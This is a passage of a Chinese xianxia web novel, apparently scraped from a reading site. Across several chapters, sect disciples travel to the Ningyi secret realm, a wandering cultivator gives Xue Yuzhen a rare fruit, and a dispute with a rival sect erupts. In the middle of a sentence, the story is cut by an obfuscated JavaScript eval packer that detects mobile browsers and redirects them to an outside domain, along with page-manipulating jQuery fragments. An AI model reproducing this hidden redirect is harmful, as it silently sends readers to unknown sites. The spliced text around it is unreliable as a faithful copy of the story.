谢云涧挑眉,看向说话那人,“云皑果?” 那名弟子家里是渝州有名的拍卖行,什么宝贝没见过。唯独云皑果罕见至极,一颗云皑果甚至能卖出百万灵石的高价。原因自然也很简单,云皑果生长在拂云间,那个地方接近九琼仙山,而九琼仙山,便是上界与五洲的分界线,是五洲灵气最为充沛的地方。传说云皑果便是在那最为丰沛的一个点而生长出来的。珍贵程度不言而喻。 “你从哪里得到的云皑果?”那名弟子问道。 谢云涧道:“摘的呀,树上结得多得很。” “摘,摘的?从哪摘的?”听见这回答,那弟子瞠目结舌。 “拂云间里一堆一堆地长着,随便在哪都能摘啊。不过,”谢云涧话锋一转,点了点松果的脑袋,“拂云间外有很强的结界,人是进不去的,还得感谢我这个好伙伴呢。” 松果扭头闻了闻他的指尖,不太感兴趣地跳到了薛予蓁的肩上,身后的大尾巴一摆一摆的。 无数修士争相抢夺的云皑果,现在就被谢云涧轻飘飘地塞进了薛予蓁的手中,“虽然不知道为何到了这里就换了个名字,但的确味道不错,是我十九年来吃过最好吃的。快尝尝。” 薛予蓁怎么会没听过云皑果的珍贵,但现在却是真的被人塞了一个,还说,是味道最好的果子。薛予蓁小心翼翼地捧起小小的果子,问道,“你方才说的‘是个宝贝的玩意儿’难不成是指它的味道是最好的?” 谢云涧嗯了一声,“汁水丰沛,果肉饱满香甜,比起路边的野果子,可是好吃太多了。” “多谢你的好意,但这太过于贵重了。”薛予蓁自然是不会要的,说着便要还回去。 谁知谢云涧身形灵巧一闪,便躲了过去,他弯了弯眼睛,“薛姑娘,这是方才手绢的谢礼,若是你不肯接受,我今晚夜里都睡不着觉了。” 薛予蓁还想说话,子书珹却在队伍的首处喊她,“小风筝!快来一下!” 这一个多月,薛予蓁已经习惯这些师兄师姐在弟子面前喊她的小名了,但今日多了一个谢云涧,她还是不好意思地红了耳朵。转头看去,谢云涧却神色如常,“快去吧,你师兄找你呢。” “那我便先去了,”薛予蓁拱手施礼,笑道,“还是多谢谢公子的云皑果。”说罢,便要离去。 谢云涧拦了她一下,指了指她的肩膀,“松果…” 松果小爪子死死地揪着薛予蓁肩头的一块布料,谢云涧从它毛茸茸的小脸上居然看出来一丝不愿意的意味。 薛予蓁道:“没关系的,若是喜欢我便跟着我就好,我师姐也很喜欢小动物的。” 谢云涧也不强求,像个纵容孩子的家长,点点头道,“那就麻烦薛姑娘照看它一下,若是不听话,丢在路边便好了。” “路边?” “是,它机灵得很,知道等我。” 说话间,子书珹又唤了她一声。薛予蓁道:“抱歉,我先过去了。” 谢云涧点头,朝她挥了挥手,“好呀。” 23. 第二十三章 道侣 施淼淼跟着褚霁远他们走在前面,看着薛予蓁带着只小松鼠回来,笑道:“小风筝看着心情不错嘛。” 薛予蓁道:“他很会聊天。” 子书珹神色淡淡,“长得也很好看,对吧?” 薛予蓁脸红了红,但也没反驳,反倒是回头看了看谢云涧。那人是真的在哪都能聊得来,现下已经和一个知源宗的弟子勾肩搭背地走在一起了,不知他说了什么,和他一排的弟子露出了敬佩的眼神。谢云涧到现在也没整理自己,依旧是灰扑扑的,头上插着的树叶随着走动偶尔飘下一片。看了半晌后,薛予蓁收回眼神,理直气壮地说道:“的确好看嘛!”而且内门收徒也是有标准的,其中有一条便是要五官端正,所以知源宗的弟子也都是瞧着好看的。 从小到大,薛予蓁相处的人个个都是顶尖的好看,所以觉得会和长相貌美的人一道也没什么问题。施淼淼听了这话后,捂着嘴偷偷地笑了一下,褚霁远眉梢也多了几分笑意。只有子书珹一人,面色沉沉地看着她,半晌才说了句“知人知面不知心”。 薛予蓁呆呆地看着他:啊,啊? “不过,他的确是非常警惕,虽然说问什么都会说点,但却不会说得太深。不知道哪句是真,哪句是假。”薛予蓁道,又拿出那枚云皑果,“他还给我了这个。” 见到这个,几位家境优渥的少爷小姐都有些惊讶。许乐禾凑近看了看,啧啧道:“乖乖,几年前我爹在拍卖行看见一枚品质一般的云皑果,都要七百多万灵石。这枚,不得上千万?” 薛予蓁瞬间觉得自己的手有千金重。她转向徐赠春,“徐师姐,云皑果珍贵,对师姐的病……” 徐赠春还未开口,施淼淼先动了。她将一块干净的纱绢覆在云皑果上,轻轻地合拢薛予蓁的手,道:“这好歹也算是那位小公子给你的心意,如何能给我用。” “可——” “小风筝,”施淼淼摇摇头,“此物与我无用,你自己好生收着,万一哪天这能用到呢。” 薛予蓁每到这种时刻,都习惯去寻褚霁远要个支持。谁知看向褚霁远时,他也轻轻摇了摇头,比了个嘴型。 ‘师父。’ 也是,知源宗并不差钱,施家也是大家族,施明尘怎么会想不到呢。薛予蓁叹了口气,将云皑果揣进储物囊里,额头被人敲了敲,施淼淼道:“叹什么气?你师姐我不是还好好地站在这吗?” 褚霁远也拍了拍她的头,“不可强求。”顿了下,又道,“对那位少年的底细,知道了多少?” 子书珹,施淼淼四人都露出惊讶的表情,薛予蓁却是神色如常,“大抵真是汎州来的散修,虽然瞎咧咧了不少话,但感觉这些不是假的。而且大概是在拂云间附近生活。”说罢看着施淼淼他们笑了一下,“几位师兄师姐为何这个眼神?” 许乐禾道:“褚师兄居然让你去探人的底,一般这事不都是子书珹的吗?” 褚霁远道:“那少年虽年纪不大,以笑示人,但心眼也不少,警惕性极强。小风筝去,三分假,七分真,若是子书珹去,便是十句话里,十句话都是假的。” 子书珹和谢云涧两人倒是有些相像。但若是找个人来说不一样在哪的话,便是子书珹温和的有些让人亲近但还是有几分距离感,而谢云涧便是那种,即便有算计,也少有人看出来——因为他看人的时候只在是太真诚了。 “谢兄,真的吗?你当真四五岁时便独自斩杀了一只赤焰熊?”弟子甲听故事听得两眼放光。 谢云涧眨眨眼,笃定道:“当然。” “那白潋银月是真的在望春城?”弟子乙关注的是神弓白潋银月。 谢云涧看着他真诚的目光,这一次沉默得久了一些,最后却还是点头,“我亲眼所见。” “哇——!” 宁沂秘境十年开一次。上一次开的时候,褚霁远将将卡在最大限制的边上,一出秘境便引来雷劫突破了。如今再来,却是—— 身后徐赠春和许乐禾不知因何病案吵了起来;子书珹自谢云涧加入队伍之后就一直阴沉着脸,只有薛予蓁来找她说话时才勉强有个好脸色;而薛予蓁既不知道子书珹为何不高兴,也不知道施淼淼这么总是看着她莫名笑了起来,于是便又溜到了队末去找谢云涧“聊天”。就连闵榭长老都因为太过于无聊而混进弟子堆里,暗戳戳地吓唬这些没进过秘境的小孩。 褚霁远闭了闭眼,心中陡然升起一种绝望的心情——师门上下看着竟都不是很靠谱。他的肩头蹲着那只小松鼠,许是感受到了他的心情,松果颇具人性地蹭了蹭褚霁远的侧颈。 薛予蓁走了,施淼淼哒哒地赶上褚霁远的脚步,和他并肩走着,“师兄,你说子书师兄这么生气,莫不是喜欢我们小风筝。” 褚霁远瞥了她一眼,“不知。但下次我下山便不给你买话本看了。” “啊?” “平日里在山上也跟个小媒婆似的,见着一对就要去凑个热闹,现下还要吃师兄师妹的八卦不成?”褚霁远语气无奈地摇摇头,“这可不行。” 施淼淼不解,“情爱有何不好,话本上写的故事很感人。说起来,师兄这些年来,可有喜欢过什么人?” 褚霁远闻言,垂眸遮掩自己的目光。在离宗之前,施明尘还召见过他一次。 “朗月,再过两年你便三十了,心中可有什么想法?”施明尘说起这个话题的时候连续喝了两口茶,显然是有些生疏和尴尬。 “什么想法?”褚霁远疑道。 “咳,还能是什么,自然是道侣。” 褚霁远见他神色不自然,心中有了一些猜测,只道:“弟子暂时没有什么想法,何况修士寿命漫长,不急于这一时。” 施明尘却不赞同,“早点有何不好?我同你师娘便是一同长大,在你这个年纪时淼淼的两个哥哥都已经三四岁了。” “师父,弟子现如今的确没有倾心之人。”褚霁远有些无奈地说道。 “那你,觉得淼淼如何?”说这话时,施明尘手指不自然地握着茶杯,也没褚霁远说话,又自顾自地说道,“淼淼自然是极好的。到时,宗主之位传于你,淼淼也更有保障。” 褚霁远抬眼看去,施明尘看着和十年前,甚至二十年前都没有区别。他如今在合体期大圆满,除却其余宗门的掌门,应当无人能够伤及到他,施淼淼不过练气,同凡人无异,施明尘又怎么会担心自己保护不了她? 褚霁远向前一步,蹙眉道,“师父最近可是修为出了什么问题?” “嗯?”施明尘没想到他会这样问,但也明白他的意思,摆摆手,“为师无事,不过是年纪大了,开始想东想西了。” “师父不过才一百来岁,担忧这些做什么。”得知他没事,褚霁远的神情又淡了下来,“淼淼,于我只是妹妹。” 听见这个答案施明尘也不意外,但仍旧没有松口,沉吟片刻,“你再多想想,此行之后再给我一个答案。” 思及于此,褚霁远又不着痕迹地看了施淼淼一眼。施明尘和他的夫人褚茗雁都是容貌非凡之人,生出来的孩子自然不会差。施淼淼的性格和样貌都随了母亲,明艳大气,灵巧生动,若不是这病,她现在应该和她父亲母亲一样是名动四方的修士。许是褚霁远不知不觉地看了一眼又一眼,施淼淼即使没什么修为,也不可避免地感受到了他的目光。 “师兄,可是想起自己心爱之人了?”施淼淼还惦记着自己之前的问题,调侃地眨了眨眼睛。 褚霁远哼笑一声,“并未。倒是你,未来道侣可是有了人选?” 施淼淼没什么犹豫地摇了摇头,“在这之前我都没出过知源宗,身边接触的男修屈指可数。”她说着还真伸出手来,说一个扳下一根手指,“许乐禾太幼稚,子书师兄,同他吵架吵不过,庄师兄很好,但感觉他对情情爱爱不感兴趣,门中其他师弟以前背后说过我,不喜欢。师兄你……”她还竖着一根手指,歪 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褚霁远招呼她看身后,不知什么时候许乐禾他们都走到了最后去了,子书珹看着是笑眯眯地在和谢云涧说些什么,许乐禾不和徐赠春吵了,改忽悠起薛予蓁了。大概是年纪渐长,薛予蓁也不想最开始那般好骗了,一脸警惕地看着许乐禾,在他说完以后立马转头去向徐赠春求证。一时间,气氛欢乐得不行。 “如你所见,生龙活虎的,一点问题都没有。”褚霁远笑。 眼见就要到宁沂秘境了,他伸手逗弄了一下肩上的松果,道:“去找你的主人吧,顺便告诉小风筝,叫她过来。” 松果歪了歪头,哼哼了两声,从褚霁远的肩头滑到地上,朝后面的几人跑去。 施淼淼道:“咦,真能听懂啊?” 褚霁远道:“并非俗物,通人性。” 薛予蓁好悬没被许乐禾忽悠到——他叭叭地说着宁沂秘境里有一条百丈长的巨蛇,一口能吃十个人,讲得绘声绘色,听得薛予蓁鸡皮疙瘩都要起来了。一旁的徐赠春懒得理这个满嘴胡话的师兄,笑着安慰薛予蓁,“你别听他胡咧咧,他根本没进过宁沂秘境。” 许乐禾被拆了台,但他也没恼,“传说啊传说!” 不管是传说还是真的,薛予蓁都不想再听了,她这个年纪,除了家里被灭门之外,还什么都没经历过,听着总觉得心中毛毛的。刚想要找一个借口离开,松果便顺着她的衣袖爬了上来,立在她的肩头,拽着她的一缕头发吱吱地叫着。这么个小玩意能有什么力气,疼倒是不疼,但连着皮肉,薛予蓁感觉自己那块头皮被扯得慌,一时间也不知道怎么办,啊啊唤了两声之后望向队伍前面。褚霁远见她看过来,笑眯眯地招了招手。 薛予蓁懂了,师兄找她有事。她左右看了看,见子书珹和谢云涧之间气氛怪怪的——说是要打起来吧,两人都笑容得体,但要是说平和,子书珹的手都按在佩剑上了。薛予蓁想不明白,暗自摇了摇头,从肩上薅下松果往许乐禾怀里一塞就跑了。徒留下一个怕天怕地怕师父师妹,最怕带毛动物的许师兄待在原地。 徐赠春见他眼神都要发直了,心中叹了口气,将小东西拎着后颈拿走了。她摸了两把毛,以为自己多少能听见一句谢谢,扭头看去,许乐禾是放松了不少,却直勾勾地看着自己发愣。徐赠春一头雾水地看他,“许乐禾?我拿着你也害怕?” 被这么一叫,许乐禾算是回神了,他轻轻地啊了一下,两只手不自觉地相互擦了擦,干巴巴地说道:“不是啊,只是觉得心里毛毛的。” 同门这么久,徐赠春也没想出他为什么怕这些玩意,但她懒得问,哦了一声后就带着松果自己走了。 许乐禾看着她的背影,抬手挠了挠自己的鼻子。没两秒,插进了子书珹和谢云涧之间,乐呵呵地又开始叭叭。 薛予蓁自然是不会知道自己给许乐禾造成了什么样的心里伤害,几步跑到了褚霁远面前。“师兄,你找我什么事啊?” 褚霁远看着她唔了一声,抬手搭着她的肩往前走,“还有不过两三个时辰秘境就要开了,紧张吗?” 24. 第二十四章 静心 说不紧张肯定是假的,薛予蓁实打实地半道出家,第二次下山,但此前顶多在自家门派的后山杀杀野鸡和灵兽,都是些安全性高的东西。宁沂秘境里的东西不知深浅,多少还是有些心慌。薛予蓁将手按在伐邪上,“有点儿。师兄是去过宁沂秘境的吧,里面很危险吗?” 褚霁远当初进秘境时就快要突破了,哪里顾得上看里面有什么东西,快刀斩乱麻地找到东西后就出来了。 薛予蓁露出迷茫的神色,“找东西?什么东西?秘境不是有修为限制的吗?谁进去放的?” “嗯?”褚霁远也有些疑惑,“我先前给你的《五洲册》你没有看吗?” 那时薛予蓁还在自我怀疑,哪有什么心思看什么《五洲册》。她身体僵了一下,心虚地移开目光。 施淼淼却不给面子地笑了出来,“别为难她了,师兄。”她挽住薛予蓁,给她解释,“据说宁沂秘境是宁沂上仙飞升前用来历练小辈而建造的。每十年开放一次,三日为限。秘境开时,前面那块石碑会显现此次历练的要求。” “要求?” “嗯哼,这么些年来,好像都是找些什么东西。宁沂上仙在秘境放了不少杂,咳,我是说不少信物。”施淼淼差点把自己的吐槽说了出来,急忙找补。 褚霁远补充道:“都是些小物件,比如剑穗,玉珏什么的,不难的。”传闻宁沂秘境大得离谱,也只有他能轻飘飘地说一句“不难”了。 薛予蓁不太敢信这个“不难”,犹豫了一下,问道:“师兄,若是在期限内没有找到,会如何?” 虽说物件简单,但宁沂上仙造出来的东西实在是形状各异,经常有修士看见了也不觉得是的情况,所以还真有不少人找不到。褚霁远想了一下,“不如何,到了时间便会被传送出秘境。” 薛予蓁一口气还没松完,就听见褚霁远道:“顶多是在外面的石碑上把没完成任务的人名字显出来,再嘲笑几句。”他颇有深意地看了一眼薛予蓁,“宁沂上仙不会如何,但丢了脸面的门派会如何就不知道了。” 薛予蓁感觉自己看见了满桌子的《五洲册》。她有些头疼,忽然间就想念起了先前说道的师父了。还不如让师父多说几句,然后担心到不让她来这个秘境。 施淼淼看她脸色不太好,“担心?来的路上不是玩得挺开心的吗?” “师姐……”薛予蓁可怜兮兮地看着她。一开始那么开心,是完全没有真的独自去探一个秘境的自觉的,现如今意识到这一点,难免有些害怕了。 看她是真的不安,施淼淼也不再逗她,温柔地抚了抚薛予蓁的头发,“怕什么呢我们小风筝。先前从平阳城回来后便又提升了一个小境界,还有什么难得到你呢。” 褚霁远的手也从肩上落到了她的头上,安抚性地轻轻拍了两下,“小风筝不比任何人差,相信自己便好。” 有了师兄师姐的鼓励,薛予蓁还真就慢慢地平静下来了,她心中暗自想着,是啊,自己的修为是实打实地一天天修炼起来的,又不是真的想他们说的那样用丹药堆砌起来的。而且自己在平阳城,什么都没有都敢和那黑衣人打,如今又在怕什么?这么想了一想,倒是真将心慌压了回去。薛予蓁抬手摸了摸自己颈间的玉坠,心更是落到了实处。 而就在薛予蓁给自己做心理准备的时间里,知源宗的一行人终于是到了宁沂秘境的驻营地。 墟山离宁沂秘境算是近的了,但抵不住一行人半点不着急地赶路。知源宗到时,其余门派都已经到齐了,放眼望去,乌泱泱的一大片人。薛予蓁和褚霁远说话,正是走到了最前面,看着这么多人,吓得连连后退了几步,正巧撞到了褚霁远身上。 褚霁远伸手抵着她的后背,低低地笑了两声,“怕什么?这都是人。” 薛予蓁被他推得又往前走了两步。本就是最后一个赶来的门派,营地里的人都关注着他们的动作。两人的响动自然是吸引了不少人的目光,眼见有人要同自己说话了,薛予蓁一个回身闪到了褚霁远身后,改为推着他往前走,“师兄,长幼有序,尊卑有别,于情于理,都该是您和闵榭长老走在前面。”她回头望了一下队伍,闵榭长老躲在后面朝她眨了眨眼,“哦,长老指望不上了,只能是您了。” 褚霁远自然是知道闵榭长老指望不上,他理了理被薛予蓁拽乱的衣裳,冷淡地朝来人点头示意,“许久不见了,肖兄。” 来者正是山雨门的肖黎,他眯着眼笑道:“褚兄。确实许久未见了,上一次见面还是四年前吧?”他的目光对上褚霁远身后探着脑袋的薛予蓁,“这便是那位小姑娘?都长这么大了?叫什么名字来着?” 这人的态度太过于随意了,但看起来和褚霁远是老相识了。薛予蓁心中虽然排斥,但却也恭敬地站出来行了一礼,“前辈好,在下薛予蓁。” 肖黎还没说话,褚霁远先开口了,“不是什么前辈,不用理会他。”说着伸手拍了拍薛予蓁的背示意她站好。 噢,这下看起来是找个人单方面和师兄老相识。薛予蓁很会听话,霎时收了拱手礼,站在褚霁远身旁无辜地看着肖黎。 肖黎话都到嘴边了,硬生生地咽了下去,摇摇头,“早知道这么可爱,当年我便带回去了。” 薛予蓁听见这话,一愣,“什么?” 褚霁远却警告地看了一眼肖黎,“没什么。肖兄,知源宗来得晚,现下要去扎营。若是要与我叙旧,不如等到宁沂秘境开后?” 虽说是商量的语气,但肖黎却没看出他有半点商量的意愿,但他并不在意这些,侧身抬手,“当然可以了。请,褚兄。” 待知源宗的人都过去后,跟在肖黎身边的一个弟子露出不悦的神色,“嘁,傲什么傲,还真当自己是什么厉害角色不成?”他愤愤不平地朝着褚霁远的背影瞪了一眼,“肖师兄,您何必如此对他,他看起来可没将您当作朋友。” 肖黎瞥了他一眼,“不是什么厉害角色?他如今化神期中期了吧。” 弟子脸色一变,“化神?他他他他不是还未到……” 肖黎拍了拍他的肩膀,“加油,师兄等着你超过他给师兄出气。” 弟子一脸菜色地跟在肖黎身后,气若游丝,“是我,有眼无珠了……”他有些后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471921|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕地挠了挠头,“我的天,他该不会听得见我刚刚说的吧。”修士修为到了一定的境界,耳力目力都要强许多,更何况他当时本就是抱着阴阳人的心说那话的,根本就没有压低声音。 “放心,褚兄不是那般斤斤计较的人。” 另一边,薛予蓁一边好奇地回头看肖黎,一边问褚霁远,“还未曾见过师兄以如此态度对待一个人,那位公子是?” 褚霁远轻轻地把她的脑袋拨拉回来,“不是什么很熟的人。山雨门门主的首徒,是个荤素不忌的花花公子,你莫要同他多说话。” “诶——”薛予蓁和施淼淼同时发出了感叹的声音。 “为何这般反应?”被这两人的举动逗笑了些,褚霁远的表情没有先前那么严肃了。 薛予蓁理所应当地一摊手,“很奇怪吗?难道不是‘荤素不忌’和‘花花公子’从师兄的口中说出来更微妙吗?” 施淼淼点点头,“同师兄相处这么多年,都没听过这样的话。” 褚霁远无奈地摇了摇头,“师兄也是人,为何不会说这些话?我在你二人的心中到底是何种形象?难不成真当我是话本子里写的不食人间烟火的仙人了?” 这么一说倒也是,和话本里写的那些什么高岭之花,什么冷淡仙人比起来,褚霁远也就只有一张脸能和他们对得上。薛予蓁和施淼淼看着褚霁远的脸,颇为满意地点点头。很妥,师兄的脸依旧能打,并且对上外人的时候也还是符合得上高岭之花。 感受到她们二人落在自己脸上火热的目光,褚霁远便知道自己说的话就是在她们耳边走了个过场。心下叹气,却又不能表露出来,褚霁远朝着凫华和百灿招了招手。 两人过来,恭敬道:“公子,何事吩咐?” 褚霁远指着近处的一片区域,道:“这块儿是知源宗的地方,你二人先在此将帐篷搭起来,往后三日就好好跟在淼淼身后,绝不可放她一人行动。” “是,公子。”两人领命后就开始行动起来了。施淼淼收拾地很齐全,凫华和百灿在储物囊里捞了半天才捞出帐篷来。 褚霁远说完便去同其余宗门来人交谈了。 薛予蓁正和施淼淼嘱咐着让她这几日不要乱跑,去哪都要带着百灿和凫华。肩膀被轻轻拍了一下,她回头看去,是谢云涧。 少年道:“薛姑娘,我是头一次来这。”他有些紧张地摸了摸鼻子,“师父只告诉我宁沂秘境要开,却没告诉我如何参与宁沂秘境的试炼……” 但其实薛予蓁也不知道,她望了一眼褚霁远,主动道:“我带你去找师兄吧,他应当知道。” 又回头看施淼淼,“师姐要同我一起去吗?” 施淼淼摆摆手,“我同凫华她们收拾东西,就不去啦。” 薛予蓁应了一声,便带着谢云涧朝着褚霁远去。 褚霁远正和一群白胡子老头说话——谁能想到除了知源宗,山雨门和崇涧宗之外,带队的人都是老长老呢,他心不在焉地随口应和着,想着该说什么才能既不失礼又自然地脱身,却陡然听见一个女声带着些斥责地说“喂,你做什么呢!” 25. 第二十五章 旧识 那女子声音挺大,周围的人下意识地扭头看向她,褚霁远也跟着看去。这一看就挪不开眼了,也不必找什么借口了,他的师妹会主动给他想法子脱身。 原是薛予蓁走着走着突然脸色一变地拽住了一名修士的袖子,碰巧那名修士的未婚妻也在旁边,她探头看见薛予蓁的动作,一点没犹豫地就喊了出来。 褚霁远到时,薛予蓁还有些没回过神地盯着那名修士的脸发呆,谢云涧则是将她护在身后一脸抱歉地和两人道歉。见褚霁远过来了,他小小地松了一口气,“褚兄。” 那两名修士也看见了褚霁远,男子脸色有些为难,怼了怼还有些不满的女子,“褚兄,许久未见,近来可还好?” 女子却道:“褚道友,这小姑娘是你们知源宗的?” 薛予蓁此刻总算是回过神来了,她也意识到自己的行为颇为失礼,没等褚霁远开口,自己抢先道:“二位道友,实在抱歉。我并未有意而为,只是方才一晃神,觉得这位道友和我的…一名故人有些相像。” 女子冷哼一声,“小妹妹,你看到话本过时了吧。如今已经不流行这样的搭讪话术了。” “我……” 男子有些无奈,道:“好了倾倾,别这样……” 女子闻言瞪着眼睛看向男子,“元弋晓!你什么意思,你还真想认识认识不——唔唔!” 元弋晓手疾眼快地捂住女子的嘴,“抱歉,倾倾她性子比较急。” 褚霁远摇摇头,“是我师妹失礼在先。” “师妹?这就是施叔叔四年前收的那名徒弟?”元弋晓道。 褚霁远点点头,向薛予蓁介绍这两人,“小风筝,这是崇涧宗的元弋晓和柳倾云。二位,这是我的小师妹,还是第二次下山,冒犯到两位,实在抱歉。” 元弋晓连连摆手,“没关系没关系,算不得什么冒犯,褚兄不必如此。”开什么玩笑,褚霁远是他们这一辈里天资最好的那个,修为远超他们。元弋晓一直都很崇拜这个前辈,何德何能听见他给自己道歉。 柳倾云见他这样,又是哼了一声,直接转身走了。 “哎——”元弋晓无奈,只能对着褚霁远行了一礼,“我们那几家里就出了倾倾一个姑娘,家里将她宠得有些过了,褚兄,对不住。” “不必在意。再说,女孩子合该要宠着的。”褚霁远笑了一下。 元弋晓:“那我先走一步了,待出了秘境再同褚兄叙旧。” “这是怎么了?”施淼淼原本在和徐赠春他们说话,几人听见一边的骚动时,也快步赶了过来,但也只看见了那两人拉拉扯扯的背影,“崇涧宗的?” 薛予蓁却避而不谈,只朝着褚霁远深深地行了一个拱手礼,“此事是予蓁冒昧,给师门添乱了,待此行结束后,自会去向师父请罚。”她退了一步将谢云涧让了出来,“师兄,他有事找你。秘境马上就要开了,我…我先去准备准备。”说罢也不顾几人的挽留,转身避开人群离开了。 褚霁远见此状,本欲追上去问清楚,却教人拦住了,他面带不悦地看去。谢云涧已然收了手,抱拳道:“在下有事想问,请褚兄暂且留步。” 褚霁远:“你方才是和小风筝一道过来的?到底发生了什么?” 谢云涧却道:“既然薛姑娘不愿意说,那我自然也不能说。褚兄若是想知道,还是等薛姑娘自己想说的时候吧。” 他这话也有道理,只是薛予蓁从前从未瞒过他什么事,这次又一副失魂落魄的模样,实在令人担心。但也的确不好逼她讲,褚霁远沉吟片刻,再次看向谢云涧,“你有何事?” 谢云涧将自己的麻烦同他说了一遍,褚霁远点点头,“此事不难,我将你的名字暂且加到知源宗的名单上便是。” “多谢褚兄。” 褚霁远摇摇头,犹豫了一下,还是问道:“方才予蓁和他二人除了口头上的摩擦,可还有别的矛盾?” 谢云涧:“没有。” 此次来宁沂秘境的宗派大大小小加起来共有十八个,入秘境的人也有近五百名,秘境前的石碑上密密麻麻的都是名字。薛予蓁也没走远,在秘境开前一刻钟的时候回来了,看神情好了许多。见她回来,知源宗的弟子团团将她围住。 “师姐,先前怎么回事啊?是不是崇涧宗的仗势欺人啊!?” “是啊师姐,你没事吧?” 薛予蓁闻言连忙摆手,“没有没有,是我不小心冒犯了人家。” 莫泱却冷哼一声,“当我们瞎呢?你不过就是拽了一下人家的衣服,这么就谈上了冒犯?柳倾云还真当她那未婚夫谁都看得上?也不瞧瞧他配不配得上咱们薛师姐!” 其余的弟子闻言也叫嚷起来。 “是啊,当谁都要去攀附那元家吗?” “咱们褚师兄不比他厉害!?!” 他们声音不是特别大,但巧就巧在崇涧宗就在他们旁边,那边的弟子听见他们说的这些话,忍了一会儿便再也忍不下去了,撸着袖子就开骂。 “到底谁配不上谁啊?我们元师兄好歹是少宗主,难道比不得你们那个臭丫头!?” “柳师姐人美心善,待人极佳!是你们就能抹黑的吗?” “是——啊??是嘛?” 那名弟子搡了他一下,“是不是都要是!你这人,怎么张他人威风?” “再说了,我们元师兄自小就开始修炼,不过二十一二便要到元婴境,皆是自己真真实实修炼得来。”那弟子冷嗤一声,上下打量了一眼薛予蓁,“没记错的话,你们薛师姐十几岁时才开始修行吧,如今到了金丹,也不知这个金丹的丹是哪个丹。” 他这话明摆着在说薛予蓁的修为都是堆砌出来的。知源宗的弟子先前也是怀疑过的,现在不少外门弟子都还这样想着,但这些个经过一个多月同行相处的弟子们自然明白薛予蓁有这个实力。 一时间两方人员吵得不可开交。有性子急的已经将佩剑抽出半截了,眼看情况愈演愈烈,薛予蓁本想出面阻拦。 谁知一柄金色飞剑“嗡”地一声飞来,插在了两名快要脸贴脸打起来的弟子之间。敛芳华半截都插进地里了,可见用剑之人技艺之高。薛予蓁回头,果不其然看见褚霁远冷着脸走来,他微微抬手召回敛芳华,淡声道:“出发前我是如何交代的?说的东西都记到狗肚子里了?” 原先热闹的马上就要打起来的场子立马冷了下来,拔剑的那名弟子想悄咪咪地将剑收回去,却见褚师兄正看着自己。他一下子变得浑身僵硬,握在剑柄上的手也放了下去,硬着头皮喊了一声,“褚师兄。” 褚霁远这时倒是笑了一下,“拔剑做什么?是要给我舞剑给我看吗?”他说这话时声音还是柔和的,那弟子鼓着勇气想要给自己辩解一下,抬头却撞上师兄冰冷的眼神,一瞬间就更加胆颤了,结结巴巴了半天也没再憋出一个字来。 对面崇涧宗的弟子对褚霁远是怕也不怕,怕是因为他的确修为高深,不怕是因为他不是自己门派里的师兄,就算要管也管不到他们身上来。再说,也是薛予蓁的不对在先。这般想着,腰板挺直了些。刚要开口说些什么,就听见褚霁远不咸不淡地来了一句,“什么野猫野狗也要去招惹一下,不怕被咬了染上病。” 崇涧宗弟子乍一听还有些没反应过来,等反应过来后才明白这是在骂他们呢。他们心中有气,但褚霁远这会儿实在是看起来有些太不近人情的冰冷了,他们也只能暗暗将气憋在心里去。 元弋晓本就在队伍中,一开始见两边只是耍嘴皮子,就没多加阻拦——毕竟柳倾云这个小姑奶奶还在气中,他要开口时便被她使了个眼刀,又被狠狠踩了一脚。后面事情闹大了,元弋晓不得不要出面了,他左脚刚迈出去,就见敛芳华飞了过来。 于是那只左脚又收了回去。 柳倾云伸手指了指他,“你这个没出息的玩意!”说完就要自己去。 元弋晓急忙拉住她,劝道:“祖宗,你做什么呢?退一万步讲,那薛姑娘就是拽了一下我的衣服,一下就放开了,旁的什么都没干啊!你哪有这么喜欢我啊!” 柳倾云不依,甩开他的手,“你这人怎么这个样?什么叫我没这么喜欢你!?”听见他说这话,柳倾云有些心虚,他们二人是有婚约在身,自然是有情意的,但也不至于到了半分不叫旁人接触元弋晓的份上。 只是出于女子的直觉反应,她觉得薛予蓁当时的神情太过于浓重了,这才有些依依不饶。 她这么一说,元弋晓嘶了一声,“你倒是提醒我了,那薛姑娘看着当真有些眼熟……” 柳倾云刷地转头盯着他,“你该不会真有什么未断干净的‘前缘’在外吧。” 元弋晓大惊失色,倒吸了一口冷气,“怎么可能!自我记事起就同你扎堆在一起,怎么可能有旁人!再说了,也不看看薛姑娘才几岁,我,我是畜生吗!?” 他这一次声音实在是大了些,引得许多人都看了过来。薛予蓁自然也听见了,她面色复杂地看着这边,眼中的情绪已经从一开始的紧张不安变成了淡淡的冷漠。她又不是什么面人,纵着人来欺辱自己,欺辱师门。 或许是看她如此神情,崇涧宗弟子又开始不满了。只是他嘴巴刚刚张开一点,便又有一柄银色飞剑自他面前飞过,这次甚至是擦着他的脸过去的。 那名弟子怔愣过后刚要发作,飞剑的主人便蹭了过来。 “哎呀哎呀,实在是不好意思啊,这位小兄弟,我这,这是头一次使这剑,有些没控制好。”谢云涧从人群中小跑着挤了过来,他不知道之前是去哪了,倒是将自己收拾得恭恭敬敬的,换了一身蓝白相间的劲装,打眼一看,还以为他也是知源宗的弟子。 那弟子眼睛一亮,正打算借题发挥,就见谢云涧恭敬地朝褚霁远行了一个谢礼,“此番多谢褚兄,将在下的名字加到贵宗去,不然凭着我那散漫的师父,我一小小散修还真没办法进宁沂秘境。” 这话彻底把那名弟子的话堵了回去,他有些不悦地撇撇嘴,面对谢云涧诚恳道歉的样子,又不好再斤斤计较。 薛予蓁拨开围在她身边的师弟师妹,走到前方,朝着元弋晓恭敬行礼,说的话却不是道歉的,“先前之事并非有意,我也向前辈道过歉了。可现如今贵宗弟子还咄咄逼人,是否——” “放屁!”一名崇涧宗的弟子立马反驳,“我们分明什么都没说,是你们先挑起话的!” 莫泱也不服,站了出来,“真有意思,我们不过是关心自家师姐,说些体己熨贴的话安慰安慰。你们到好,还污蔑起薛师姐了。”他这人不爱骂人,但阴阳怪气却是十足的,哼了一声后接着说,“到底是大宗大派呀~” 